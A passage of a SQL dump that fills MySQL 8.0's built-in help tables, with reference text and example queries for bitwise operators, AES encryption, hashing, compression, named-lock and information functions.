ccc\n','https://dev.mysql.com/doc/refman/8.0/en/xml-functions.html'),(248,'|',18,'Syntax:\n|\n\nBitwise OR.\n\nThe result type depends on whether the arguments are evaluated as\nbinary strings or numbers:\n\no Binary-string evaluation occurs when the arguments have a binary\n string type, and at least one of them is not a hexadecimal literal,\n bit literal, or NULL literal. Numeric evaluation occurs otherwise,\n with argument conversion to unsigned 64-bit integers as necessary.\n\no Binary-string evaluation produces a binary string of the same length\n as the arguments. If the arguments have unequal lengths, an\n ER_INVALID_BITWISE_OPERANDS_SIZE\n (https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-reference\n .html#error_er_invalid_bitwise_operands_size) error occurs. Numeric\n evaluation produces an unsigned 64-bit integer.\n\nFor more information, see the introductory discussion in this section.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/bit-functions.html\n\n','mysql> SELECT 29 | 15;\n -> 31\nmysql> SELECT _binary X\'40404040\' | X\'01020304\';\n -> \'ABCD\'\n','https://dev.mysql.com/doc/refman/8.0/en/bit-functions.html'),(249,'&',18,'Syntax:\n&\n\nBitwise AND.\n\nThe result type depends on whether the arguments are evaluated as\nbinary strings or numbers:\n\no Binary-string evaluation occurs when the arguments have a binary\n string type, and at least one of them is not a hexadecimal literal,\n bit literal, or NULL literal. Numeric evaluation occurs otherwise,\n with argument conversion to unsigned 64-bit integers as necessary.\n\no Binary-string evaluation produces a binary string of the same length\n as the arguments. If the arguments have unequal lengths, an\n ER_INVALID_BITWISE_OPERANDS_SIZE\n (https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-reference\n .html#error_er_invalid_bitwise_operands_size) error occurs. Numeric\n evaluation produces an unsigned 64-bit integer.\n\nFor more information, see the introductory discussion in this section.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/bit-functions.html\n\n','mysql> SELECT 29 & 15;\n -> 13\nmysql> SELECT HEX(_binary X\'FF\' & b\'11110000\');\n -> \'F0\'\n','https://dev.mysql.com/doc/refman/8.0/en/bit-functions.html'),(250,'^',18,'Syntax:\n^\n\nBitwise XOR.\n\nThe result type depends on whether the arguments are evaluated as\nbinary strings or numbers:\n\no Binary-string evaluation occurs when the arguments have a binary\n string type, and at least one of them is not a hexadecimal literal,\n bit literal, or NULL literal. Numeric evaluation occurs otherwise,\n with argument conversion to unsigned 64-bit integers as necessary.\n\no Binary-string evaluation produces a binary string of the same length\n as the arguments. If the arguments have unequal lengths, an\n ER_INVALID_BITWISE_OPERANDS_SIZE\n (https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-reference\n .html#error_er_invalid_bitwise_operands_size) error occurs. Numeric\n evaluation produces an unsigned 64-bit integer.\n\nFor more information, see the introductory discussion in this section.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/bit-functions.html\n\n','mysql> SELECT 1 ^ 1;\n -> 0\nmysql> SELECT 1 ^ 0;\n -> 1\nmysql> SELECT 11 ^ 3;\n -> 8\nmysql> SELECT HEX(_binary X\'FEDC\' ^ X\'1111\');\n -> \'EFCD\'\n','https://dev.mysql.com/doc/refman/8.0/en/bit-functions.html'),(251,'<<',18,'Syntax:\n<<\n\nShifts a longlong (BIGINT) number or binary string to the left.\n\nThe result type depends on whether the bit argument is evaluated as a\nbinary string or number:\n\no Binary-string evaluation occurs when the bit argument has a binary\n string type, and is not a hexadecimal literal, bit literal, or NULL\n literal. Numeric evaluation occurs otherwise, with argument\n conversion to an unsigned 64-bit integer as necessary.\n\no Binary-string evaluation produces a binary string of the same length\n as the bit argument. Numeric evaluation produces an unsigned 64-bit\n integer.\n\nBits shifted off the end of the value are lost without warning,\nregardless of the argument type. In particular, if the shift count is\ngreater or equal to the number of bits in the bit argument, all bits in\nthe result are 0.\n\nFor more information, see the introductory discussion in this section.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/bit-functions.html\n\n','mysql> SELECT 1 << 2;\n -> 4\nmysql> SELECT HEX(_binary X\'00FF00FF00FF\' << 8);\n -> \'FF00FF00FF00\'\n','https://dev.mysql.com/doc/refman/8.0/en/bit-functions.html'),(252,'>>',18,'Syntax:\n>>\n\nShifts a longlong (BIGINT) number or binary string to the right.\n\nThe result type depends on whether the bit argument is evaluated as a\nbinary string or number:\n\no Binary-string evaluation occurs when the bit argument has a binary\n string type, and is not a hexadecimal literal, bit literal, or NULL\n literal. Numeric evaluation occurs otherwise, with argument\n conversion to an unsigned 64-bit integer as necessary.\n\no Binary-string evaluation produces a binary string of the same length\n as the bit argument. Numeric evaluation produces an unsigned 64-bit\n integer.\n\nBits shifted off the end of the value are lost without warning,\nregardless of the argument type. In particular, if the shift count is\ngreater or equal to the number of bits in the bit argument, all bits in\nthe result are 0.\n\nFor more information, see the introductory discussion in this section.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/bit-functions.html\n\n','mysql> SELECT 4 >> 2;\n -> 1\nmysql> SELECT HEX(_binary X\'00FF00FF00FF\' >> 8);\n -> \'0000FF00FF00\'\n','https://dev.mysql.com/doc/refman/8.0/en/bit-functions.html'),(253,'~',18,'Syntax:\n~\n\nInvert all bits.\n\nThe result type depends on whether the bit argument is evaluated as a\nbinary string or number:\n\no Binary-string evaluation occurs when the bit argument has a binary\n string type, and is not a hexadecimal literal, bit literal, or NULL\n literal. Numeric evaluation occurs otherwise, with argument\n conversion to an unsigned 64-bit integer as necessary.\n\no Binary-string evaluation produces a binary string of the same length\n as the bit argument. Numeric evaluation produces an unsigned 64-bit\n integer.\n\nFor more information, see the introductory discussion in this section.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/bit-functions.html\n\n','mysql> SELECT 5 & ~1;\n -> 4\nmysql> SELECT HEX(~X\'0000FFFF1111EEEE\');\n -> \'FFFF0000EEEE1111\'\n','https://dev.mysql.com/doc/refman/8.0/en/bit-functions.html'),(254,'BIT_COUNT',18,'Syntax:\nBIT_COUNT(N)\n\nReturns the number of bits that are set in the argument N as an\nunsigned 64-bit integer, or NULL if the argument is NULL.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/bit-functions.html\n\n','mysql> SELECT BIT_COUNT(64), BIT_COUNT(BINARY 64);\n -> 1, 7\nmysql> SELECT BIT_COUNT(\'64\'), BIT_COUNT(_binary \'64\');\n -> 1, 7\nmysql> SELECT BIT_COUNT(X\'40\'), BIT_COUNT(_binary X\'40\');\n -> 1, 1\n','https://dev.mysql.com/doc/refman/8.0/en/bit-functions.html'),(255,'AES_DECRYPT',19,'Syntax:\nAES_DECRYPT(crypt_str,key_str[,init_vector][,kdf_name][,salt][,info |\niterations])\n\nThis function decrypts data using the official AES (Advanced Encryption\nStandard) algorithm. For more information, see the description of\nAES_ENCRYPT().\n\nStatements that use AES_DECRYPT() are unsafe for statement-based\nreplication.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/encryption-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/encryption-functions.html'),(256,'AES_ENCRYPT',19,'Syntax:\nAES_ENCRYPT(str,key_str[,init_vector][,kdf_name][,salt][,info |\niterations])\n\nAES_ENCRYPT() and AES_DECRYPT() implement encryption and decryption of\ndata using the official AES (Advanced Encryption Standard) algorithm,\npreviously known as \"Rijndael.\" The AES standard permits various key\nlengths. By default these functions implement AES with a 128-bit key\nlength. Key lengths of 196 or 256 bits can be used, as described later.\nThe key length is a trade off between performance and security.\n\nAES_ENCRYPT() encrypts the string str using the key string key_str, and\nreturns a binary string containing the encrypted output. AES_DECRYPT()\ndecrypts the encrypted string crypt_str using the key string key_str,\nand returns the original (binary) string in hexadecimal format. (To\nobtain the string as plaintext, cast the result to CHAR. Alternatively,\nstart the mysql client with --skip-binary-as-hex to cause all binary\nvalues to be displayed as text.) If either function argument is NULL,\nthe function returns NULL. If AES_DECRYPT() detects invalid data or\nincorrect padding, it returns NULL. However, it is possible for\nAES_DECRYPT() to return a non-NULL value (possibly garbage) if the\ninput data or the key is invalid.\n\nAs of MySQL 8.0.30, these functions support the use of a key derivation\nfunction (KDF) to create a cryptographically strong secret key from the\ninformation passed in key_str. The derived key is used to encrypt and\ndecrypt the data, and it remains in the MySQL Server instance and is\nnot accessible to users. Using a KDF is highly recommended, as it\nprovides better security than specifying your own premade key or\nderiving it by a simpler method as you use the function. The functions\nsupport HKDF (available from OpenSSL 1.1.0), for which you can specify\nan optional salt and context-specific information to include in the\nkeying material, and PBKDF2 (available from OpenSSL 1.0.2), for which\nyou can specify an optional salt and set the number of iterations used\nto produce the key.\n\nAES_ENCRYPT() and AES_DECRYPT() permit control of the block encryption\nmode. The block_encryption_mode system variable controls the mode for\nblock-based encryption algorithms. Its default value is aes-128-ecb,\nwhich signifies encryption using a key length of 128 bits and ECB mode.\nFor a description of the permitted values of this variable, see\nhttps://dev.mysql.com/doc/refman/8.0/en/server-system-variables.html.\nThe optional init_vector argument is used to provide an initialization\nvector for block encryption modes that require it.\n\nStatements that use AES_ENCRYPT() or AES_DECRYPT() are unsafe for\nstatement-based replication.\n\nIf AES_ENCRYPT() is invoked from within the mysql client, binary\nstrings display using hexadecimal notation, depending on the value of\nthe --binary-as-hex. For more information about that option, see\nhttps://dev.mysql.com/doc/refman/8.0/en/mysql.html.\n\nThe arguments for the AES_ENCRYPT() and AES_DECRYPT() functions are as\nfollows:\n\no str\n\n The string for AES_ENCRYPT() to encrypt using the key string key_str,\n or (from MySQL 8.0.30) the key derived from it by the specified KDF.\n The string can be any length. Padding is automatically added to str\n so it is a multiple of a block as required by block-based algorithms\n such as AES. This padding is automatically removed by the\n AES_DECRYPT() function.\n\no crypt_str\n\n The encrypted string for AES_DECRYPT() to decrypt using the key\n string key_str, or (from MySQL 8.0.30) the key derived from it by the\n specified KDF. The string can be any length. The length of crypt_str\n can be calculated from the length of the original string using this\n formula:\n\n16 * (trunc(string_length / 16) + 1)\n\no key_str\n\n The encryption key, or the input keying material that is used as the\n basis for deriving a key using a key derivation function (KDF). For\n the same instance of data, use the same value of key_str for\n encryption with AES_ENCRYPT() and decryption with AES_DECRYPT().\n\n If you are using a KDF, which you can from MySQL 8.0.30, key_str can\n be any arbitrary information such as a password or passphrase. In the\n further arguments for the function, you specify the KDF name, then\n add further options to increase the security as appropriate for the\n KDF.\n\n When you use a KDF, the function creates a cryptographically strong\n secret key from the information passed in key_str and any salt or\n additional information that you provide in the other arguments. The\n derived key is used to encrypt and decrypt the data, and it remains\n in the MySQL Server instance and is not accessible to users. Using a\n KDF is highly recommended, as it provides better security than\n specifying your own premade key or deriving it by a simpler method as\n you use the function.\n\n If you are not using a KDF, for a key length of 128 bits, the most\n secure way to pass a key to the key_str argument is to create a truly\n random 128-bit value and pass it as a binary value. For example:\n\nINSERT INTO t\nVALUES (1,AES_ENCRYPT(\'text\',UNHEX(\'F3229A0B371ED2D9441B830D21A390C3\')));\n\n A passphrase can be used to generate an AES key by hashing the\n passphrase. For example:\n\nINSERT INTO t\nVALUES (1,AES_ENCRYPT(\'text\', UNHEX(SHA2(\'My secret passphrase\',512))));\n\n If you exceed the maximum key length of 128 bits, a warning is\n returned. If you are not using a KDF, do not pass a password or\n passphrase directly to key_str, hash it first. Previous versions of\n this documentation suggested the former approach, but it is no longer\n recommended as the examples shown here are more secure.\n\no init_vector\n\n An initialization vector, for block encryption modes that require it.\n The block_encryption_mode system variable controls the mode. For the\n same instance of data, use the same value of init_vector for\n encryption with AES_ENCRYPT() and decryption with AES_DECRYPT().\n\n *Note*:\n\n If you are using a KDF, you must specify an initialization vector or\n a null string for this argument, in order to access the later\n arguments to define the KDF.\n\n For modes that require an initialization vector, it must be 16 bytes\n or longer (bytes in excess of 16 are ignored). An error occurs if\n init_vector is missing. For modes that do not require an\n initialization vector, it is ignored and a warning is generated if\n init_vector is specified, unless you are using a KDF.\n\n The default value for the block_encryption_mode system variable is\n aes-128-ecb, or ECB mode, which does not require an initialization\n vector. The alternative permitted block encryption modes CBC, CFB1,\n CFB8, CFB128, and OFB all require an initialization vector.\n\n A random string of bytes to use for the initialization vector can be\n produced by calling RANDOM_BYTES(16).\n\no kdf_name\n\n The name of the key derivation function (KDF) to create a key from\n the input keying material passed in key_str, and other arguments as\n appropriate for the KDF. This optional argument is available from\n MySQL 8.0.30.\n\n For the same instance of data, use the same value of kdf_name for\n encryption with AES_ENCRYPT() and decryption with AES_DECRYPT(). When\n you specify kdf_name, you must specify init_vector, using either a\n valid initialization vector, or a null string if the encryption mode\n does not require an initialization vector.\n\n The following values are supported:\n\n o hkdf\n\n HKDF, which is available from OpenSSL 1.1.0. HKDF extracts a\n pseudorandom key from the keying material then expands it into\n additional keys. With HKDF, you can specify an optional salt (salt)\n and context-specific information such as application details (info)\n to include in the keying material.\n\n o pbkdf2_hmac\n\n PBKDF2, which is available from OpenSSL 1.0.2. PBKDF2 applies a\n pseudorandom function to the keying material, and repeats this\n process a large number of times to produce the key. With PBKDF2,\n you can specify an optional salt (salt) to include in the keying\n material, and set the number of iterations used to produce the key\n (iterations).\n\n In this example, HKDF is specified as the key derivation function,\n and a salt and context information are provided. The argument for the\n initialization vector is included but is the empty string:\n\nSELECT AES_ENCRYPT(\'mytext\',\'mykeystring\', \'\', \'hkdf\', \'salt\', \'info\');\n\n In this example, PBKDF2 is specified as the key derivation function,\n a salt is provided, and the number of iterations is doubled from the\n recommended minimum:\n\nSELECT AES_ENCRYPT(\'mytext\',\'mykeystring\', \'\', \'pbkdf2_hmac\',\'salt\', \'2000\');\n\no salt\n\n A salt to be passed to the key derivation function (KDF). This\n optional argument is available from MySQL 8.0.30. Both HKDF and\n PBKDF2 can use salts, and their use is recommended to help prevent\n attacks based on dictionaries of common passwords or rainbow tables.\n\n A salt consists of random data, which for security must be different\n for each encryption operation. A random string of bytes to use for\n the salt can be produced by calling RANDOM_BYTES(). This example\n produces a 64-bit salt:\n\nSET @salt = RANDOM_BYTES(8);\n\n For the same instance of data, use the same value of salt for\n encryption with AES_ENCRYPT() and decryption with AES_DECRYPT(). The\n salt can safely be stored along with the encrypted data.\n\no info\n\n Context-specific information for HKDF to include in the keying\n material, such as information about the application. This optional\n argument is available from MySQL 8.0.30 when you specify hkdf as the\n KDF name. HKDF adds this information to the keying material specified\n in key_str and the salt specified in salt to produce the key.\n\n For the same instance of data, use the same value of info for\n encryption with AES_ENCRYPT() and decryption with AES_DECRYPT().\n\no iterations\n\n The iteration count for PBKDF2 to use when producing the key. This\n optional argument is available from MySQL 8.0.30 when you specify\n pbkdf2_hmac as the KDF name. A higher count gives greater resistance\n to brute-force attacks because it has a greater computational cost\n for the attacker, but the same is necessarily true for the key\n derivation process. The default if you do not specify this argument\n is 1000, which is the minimum recommended by the OpenSSL standard.\n\n For the same instance of data, use the same value of iterations for\n encryption with AES_ENCRYPT() and decryption with AES_DECRYPT().\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/encryption-functions.html\n\n','mysql> SET block_encryption_mode = \'aes-256-cbc\';\nmysql> SET @key_str = SHA2(\'My secret passphrase\',512);\nmysql> SET @init_vector = RANDOM_BYTES(16);\nmysql> SET @crypt_str = AES_ENCRYPT(\'text\',@key_str,@init_vector);\nmysql> SELECT CAST(AES_DECRYPT(@crypt_str,@key_str,@init_vector) AS CHAR);\n+-------------------------------------------------------------+\n| CAST(AES_DECRYPT(@crypt_str,@key_str,@init_vector) AS CHAR) |\n+-------------------------------------------------------------+\n| text |\n+-------------------------------------------------------------+\n','https://dev.mysql.com/doc/refman/8.0/en/encryption-functions.html'),(257,'COMPRESS',19,'Syntax:\nCOMPRESS(string_to_compress)\n\nCompresses a string and returns the result as a binary string. This\nfunction requires MySQL to have been compiled with a compression\nlibrary such as zlib. Otherwise, the return value is always NULL. The\nreturn value is also NULL if string_to_compress is NULL. The compressed\nstring can be uncompressed with UNCOMPRESS().\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/encryption-functions.html\n\n','mysql> SELECT LENGTH(COMPRESS(REPEAT(\'a\',1000)));\n -> 21\nmysql> SELECT LENGTH(COMPRESS(\'\'));\n -> 0\nmysql> SELECT LENGTH(COMPRESS(\'a\'));\n -> 13\nmysql> SELECT LENGTH(COMPRESS(REPEAT(\'a\',16)));\n -> 15\n','https://dev.mysql.com/doc/refman/8.0/en/encryption-functions.html'),(258,'MD5',19,'Syntax:\nMD5(str)\n\nCalculates an MD5 128-bit checksum for the string. The value is\nreturned as a string of 32 hexadecimal digits, or NULL if the argument\nwas NULL. The return value can, for example, be used as a hash key. See\nthe notes at the beginning of this section about storing hash values\nefficiently.\n\nThe return value is a string in the connection character set.\n\nIf FIPS mode is enabled, MD5() returns NULL. See\nhttps://dev.mysql.com/doc/refman/8.0/en/fips-mode.html.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/encryption-functions.html\n\n','mysql> SELECT MD5(\'testing\');\n -> \'ae2b1fca515949e5d54fb22b8ed95575\'\n','https://dev.mysql.com/doc/refman/8.0/en/encryption-functions.html'),(259,'RANDOM_BYTES',19,'Syntax:\nRANDOM_BYTES(len)\n\nThis function returns a binary string of len random bytes generated\nusing the random number generator of the SSL library. Permitted values\nof len range from 1 to 1024. For values outside that range, an error\noccurs. Returns NULL if len is NULL.\n\nRANDOM_BYTES() can be used to provide the initialization vector for the\nAES_DECRYPT() and AES_ENCRYPT() functions. For use in that context, len\nmust be at least 16. Larger values are permitted, but bytes in excess\nof 16 are ignored.\n\nRANDOM_BYTES() generates a random value, which makes its result\nnondeterministic. Consequently, statements that use this function are\nunsafe for statement-based replication.\n\nIf RANDOM_BYTES() is invoked from within the mysql client, binary\nstrings display using hexadecimal notation, depending on the value of\nthe --binary-as-hex. For more information about that option, see\nhttps://dev.mysql.com/doc/refman/8.0/en/mysql.html.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/encryption-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/encryption-functions.html'),(260,'SHA1',19,'Syntax:\nSHA1(str), SHA(str)\n\nCalculates an SHA-1 160-bit checksum for the string, as described in\nRFC 3174 (Secure Hash Algorithm). The value is returned as a string of\n40 hexadecimal digits, or NULL if the argument is NULL. One of the\npossible uses for this function is as a hash key. See the notes at the\nbeginning of this section about storing hash values efficiently. SHA()\nis synonymous with SHA1().\n\nThe return value is a string in the connection character set.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/encryption-functions.html\n\n','mysql> SELECT SHA1(\'abc\');\n -> \'a9993e364706816aba3e25717850c26c9cd0d89d\'\n','https://dev.mysql.com/doc/refman/8.0/en/encryption-functions.html'),(261,'SHA2',19,'Syntax:\nSHA2(str, hash_length)\n\nCalculates the SHA-2 family of hash functions (SHA-224, SHA-256,\nSHA-384, and SHA-512). The first argument is the plaintext string to be\nhashed. The second argument indicates the desired bit length of the\nresult, which must have a value of 224, 256, 384, 512, or 0 (which is\nequivalent to 256). If either argument is NULL or the hash length is\nnot one of the permitted values, the return value is NULL. Otherwise,\nthe function result is a hash value containing the desired number of\nbits. See the notes at the beginning of this section about storing hash\nvalues efficiently.\n\nThe return value is a string in the connection character set.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/encryption-functions.html\n\n','mysql> SELECT SHA2(\'abc\', 224);\n -> \'23097d223405d8228642a477bda255b32aadbce4bda0b3f7e36c9da7\'\n','https://dev.mysql.com/doc/refman/8.0/en/encryption-functions.html'),(262,'STATEMENT_DIGEST',19,'STATEMENT_DIGEST(statement)\n\nGiven an SQL statement as a string, returns the statement digest hash\nvalue as a string in the connection character set, or NULL if the\nargument is NULL. The related STATEMENT_DIGEST_TEXT() function returns\nthe normalized statement digest. For information about statement\ndigesting, see\nhttps://dev.mysql.com/doc/refman/8.0/en/performance-schema-statement-di\ngests.html.\n\nBoth functions use the MySQL parser to parse the statement. If parsing\nfails, an error occurs. The error message includes the parse error only\nif the statement is provided as a literal string.\n\nThe max_digest_length system variable determines the maximum number of\nbytes available to these functions for computing normalized statement\ndigests.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/encryption-functions.html\n\n','mysql> SET @stmt = \'SELECT * FROM mytable WHERE cola = 10 AND colb = 20\';\nmysql> SELECT STATEMENT_DIGEST(@stmt);\n+------------------------------------------------------------------+\n| STATEMENT_DIGEST(@stmt) |\n+------------------------------------------------------------------+\n| 3bb95eeade896657c4526e74ff2a2862039d0a0fe8a9e7155b5fe492cbd78387 |\n+------------------------------------------------------------------+\nmysql> SELECT STATEMENT_DIGEST_TEXT(@stmt);\n+----------------------------------------------------------+\n| STATEMENT_DIGEST_TEXT(@stmt) |\n+----------------------------------------------------------+\n| SELECT * FROM `mytable` WHERE `cola` = ? AND `colb` = ? |\n+----------------------------------------------------------+\n','https://dev.mysql.com/doc/refman/8.0/en/encryption-functions.html'),(263,'STATEMENT_DIGEST_TEXT',19,'STATEMENT_DIGEST_TEXT(statement)\n\nGiven an SQL statement as a string, returns the normalized statement\ndigest as a string in the connection character set, or NULL if the\nargument is NULL. For additional discussion and examples, see the\ndescription of the related STATEMENT_DIGEST() function.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/encryption-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/encryption-functions.html'),(264,'UNCOMPRESS',19,'Syntax:\nUNCOMPRESS(string_to_uncompress)\n\nUncompresses a string compressed by the COMPRESS() function. If the\nargument is not a compressed value, the result is NULL; if\nstring_to_uncompress is NULL, the result is also NULL. This function\nrequires MySQL to have been compiled with a compression library such as\nzlib. Otherwise, the return value is always NULL.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/encryption-functions.html\n\n','mysql> SELECT UNCOMPRESS(COMPRESS(\'any string\'));\n -> \'any string\'\nmysql> SELECT UNCOMPRESS(\'any string\');\n -> NULL\n','https://dev.mysql.com/doc/refman/8.0/en/encryption-functions.html'),(265,'UNCOMPRESSED_LENGTH',19,'Syntax:\nUNCOMPRESSED_LENGTH(compressed_string)\n\nReturns the length that the compressed string had before being\ncompressed. Returns NULL if compressed_string is NULL.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/encryption-functions.html\n\n','mysql> SELECT UNCOMPRESSED_LENGTH(COMPRESS(REPEAT(\'a\',30)));\n -> 30\n','https://dev.mysql.com/doc/refman/8.0/en/encryption-functions.html'),(266,'VALIDATE_PASSWORD_STRENGTH',19,'Syntax:\nVALIDATE_PASSWORD_STRENGTH(str)\n\nGiven an argument representing a plaintext password, this function\nreturns an integer to indicate how strong the password is, or NULL if\nthe argument is NULL. The return value ranges from 0 (weak) to 100\n(strong).\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/encryption-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/encryption-functions.html'),(267,'GET_LOCK',20,'Syntax:\nGET_LOCK(str,timeout)\n\nTries to obtain a lock with a name given by the string str, using a\ntimeout of timeout seconds. A negative timeout value means infinite\ntimeout. The lock is exclusive. While held by one session, other\nsessions cannot obtain a lock of the same name.\n\nReturns 1 if the lock was obtained successfully, 0 if the attempt timed\nout (for example, because another client has previously locked the\nname), or NULL if an error occurred (such as running out of memory or\nthe thread was killed with mysqladmin kill).\n\nA lock obtained with GET_LOCK() is released explicitly by executing\nRELEASE_LOCK() or implicitly when your session terminates (either\nnormally or abnormally). Locks obtained with GET_LOCK() are not\nreleased when transactions commit or roll back.\n\nGET_LOCK() is implemented using the metadata locking (MDL) subsystem.\nMultiple simultaneous locks can be acquired and GET_LOCK() does not\nrelease any existing locks. For example, suppose that you execute these\nstatements:\n\nSELECT GET_LOCK(\'lock1\',10);\nSELECT GET_LOCK(\'lock2\',10);\nSELECT RELEASE_LOCK(\'lock2\');\nSELECT RELEASE_LOCK(\'lock1\');\n\nThe second GET_LOCK() acquires a second lock and both RELEASE_LOCK()\ncalls return 1 (success).\n\nIt is even possible for a given session to acquire multiple locks for\nthe same name. Other sessions cannot acquire a lock with that name\nuntil the acquiring session releases all its locks for the name.\n\nUniquely named locks acquired with GET_LOCK() appear in the Performance\nSchema metadata_locks table. The OBJECT_TYPE column says USER LEVEL\nLOCK and the OBJECT_NAME column indicates the lock name. In the case\nthat multiple locks are acquired for the same name, only the first lock\nfor the name registers a row in the metadata_locks table. Subsequent\nlocks for the name increment a counter in the lock but do not acquire\nadditional metadata locks. The metadata_locks row for the lock is\ndeleted when the last lock instance on the name is released.\n\nThe capability of acquiring multiple locks means there is the\npossibility of deadlock among clients. When this happens, the server\nchooses a caller and terminates its lock-acquisition request with an\nER_USER_LOCK_DEADLOCK\n(https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-reference.html\n#error_er_user_lock_deadlock) error. This error does not cause\ntransactions to roll back.\n\nMySQL enforces a maximum length on lock names of 64 characters.\n\nGET_LOCK() can be used to implement application locks or to simulate\nrecord locks. Names are locked on a server-wide basis. If a name has\nbeen locked within one session, GET_LOCK() blocks any request by\nanother session for a lock with the same name. This enables clients\nthat agree on a given lock name to use the name to perform cooperative\nadvisory locking. But be aware that it also enables a client that is\nnot among the set of cooperating clients to lock a name, either\ninadvertently or deliberately, and thus prevent any of the cooperating\nclients from locking that name. One way to reduce the likelihood of\nthis is to use lock names that are database-specific or\napplication-specific. For example, use lock names of the form\ndb_name.str or app_name.str.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/locking-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/locking-functions.html'),(268,'IS_FREE_LOCK',20,'Syntax:\nIS_FREE_LOCK(str)\n\nChecks whether the lock named str is free to use (that is, not locked).\nReturns 1 if the lock is free (no one is using the lock), 0 if the lock\nis in use, and NULL if an error occurs (such as an incorrect argument).\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/locking-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/locking-functions.html'),(269,'IS_USED_LOCK',20,'Syntax:\nIS_USED_LOCK(str)\n\nChecks whether the lock named str is in use (that is, locked). If so,\nit returns the connection identifier of the client session that holds\nthe lock. Otherwise, it returns NULL.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/locking-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/locking-functions.html'),(270,'RELEASE_ALL_LOCKS',20,'Syntax:\nRELEASE_ALL_LOCKS()\n\nReleases all named locks held by the current session and returns the\nnumber of locks released (0 if there were none)\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/locking-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/locking-functions.html'),(271,'RELEASE_LOCK',20,'Syntax:\nRELEASE_LOCK(str)\n\nReleases the lock named by the string str that was obtained with\nGET_LOCK(). Returns 1 if the lock was released, 0 if the lock was not\nestablished by this thread (in which case the lock is not released),\nand NULL if the named lock did not exist. The lock does not exist if it\nwas never obtained by a call to GET_LOCK() or if it has previously been\nreleased.\n\nThe DO statement is convenient to use with RELEASE_LOCK(). See [HELP\nDO].\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/locking-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/locking-functions.html'),(272,'BENCHMARK',21,'Syntax:\nBENCHMARK(count,expr)\n\nThe BENCHMARK() function executes the expression expr repeatedly count\ntimes. It may be used to time how quickly MySQL processes the\nexpression. The result value is 0, or NULL for inappropriate arguments\nsuch as a NULL or negative repeat count.\n\nThe intended use is from within the mysql client, which reports query\nexecution times:\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/information-functions.html\n\n','mysql> SELECT BENCHMARK(1000000,AES_ENCRYPT(\'hello\',\'goodbye\'));\n+---------------------------------------------------+\n| BENCHMARK(1000000,AES_ENCRYPT(\'hello\',\'goodbye\')) |\n+---------------------------------------------------+\n| 0 |\n+---------------------------------------------------+\n1 row in set (4.74 sec)\n','https://dev.mysql.com/doc/refman/8.0/en/information-functions.html'),(273,'CHARSET',21,'Syntax:\nCHARSET(str)\n\nReturns the character set of the string argument, or NULL if the\nargument is NULL.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/information-functions.html\n\n','mysql> SELECT CHARSET(\'abc\');\n -> \'utf8mb3\'\nmysql> SELECT CHARSET(CONVERT(\'abc\' USING latin1));\n -> \'latin1\'\nmysql> SELECT CHARSET(USER());\n -> \'utf8mb3\'\n','https://dev.mysql.com/doc/refman/8.0/en/information-functions.html'),(274,'COERCIBILITY',21,'Syntax:\nCOERCIBILITY(str)\n\nReturns the collation coercibility value of the string argument.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/information-functions.html\n\n','mysql> SELECT COERCIBILITY(\'abc\' COLLATE utf8mb4_swedish_ci);\n -> 0\nmysql> SELECT COERCIBILITY(USER());\n -> 3\nmysql> SELECT COERCIBILITY(\'abc\');\n -> 4\nmysql> SELECT COERCIBILITY(1000);\n -> 5\n','https://dev.mysql.com/doc/refman/8.0/en/information-functions.html'),(275,'COLLATION',21,'Syntax:\nCOLLATION(str)\n\nReturns the collation of the string argument.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/information-functions.html\n\n','mysql> SELECT COLLATION(\'abc\');\n -> \'utf8mb4_0900_ai_ci\'\nmysql> SELECT COLLATION(_utf8mb4\'abc\');\n -> \'utf8mb4_0900_ai_ci\'\nmysql> SELECT COLLATION(_latin1\'abc\');\n -> \'latin1_swedish_ci\'\n','https://dev.mysql.com/doc/refman/8.0/en/information-functions.html'),(276,'CONNECTION_ID',21,'Syntax:\nCONNECTION_ID()\n\nReturns the connection ID (thread ID) for the connection. Every\nconnection has an ID that is unique among the set of currently\nconnected clients.\n\nThe value returned by CONNECTION_ID() is the same type of value as\ndisplayed in the ID column of the Information Schema PROCESSLIST table,\nthe Id column of SHOW PROCESSLIST output, and the PROCESSLIST_ID column\nof the Performance Schema threads table.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/information-functions.html\n\n','mysql> SELECT CONNECTION_ID();\n -> 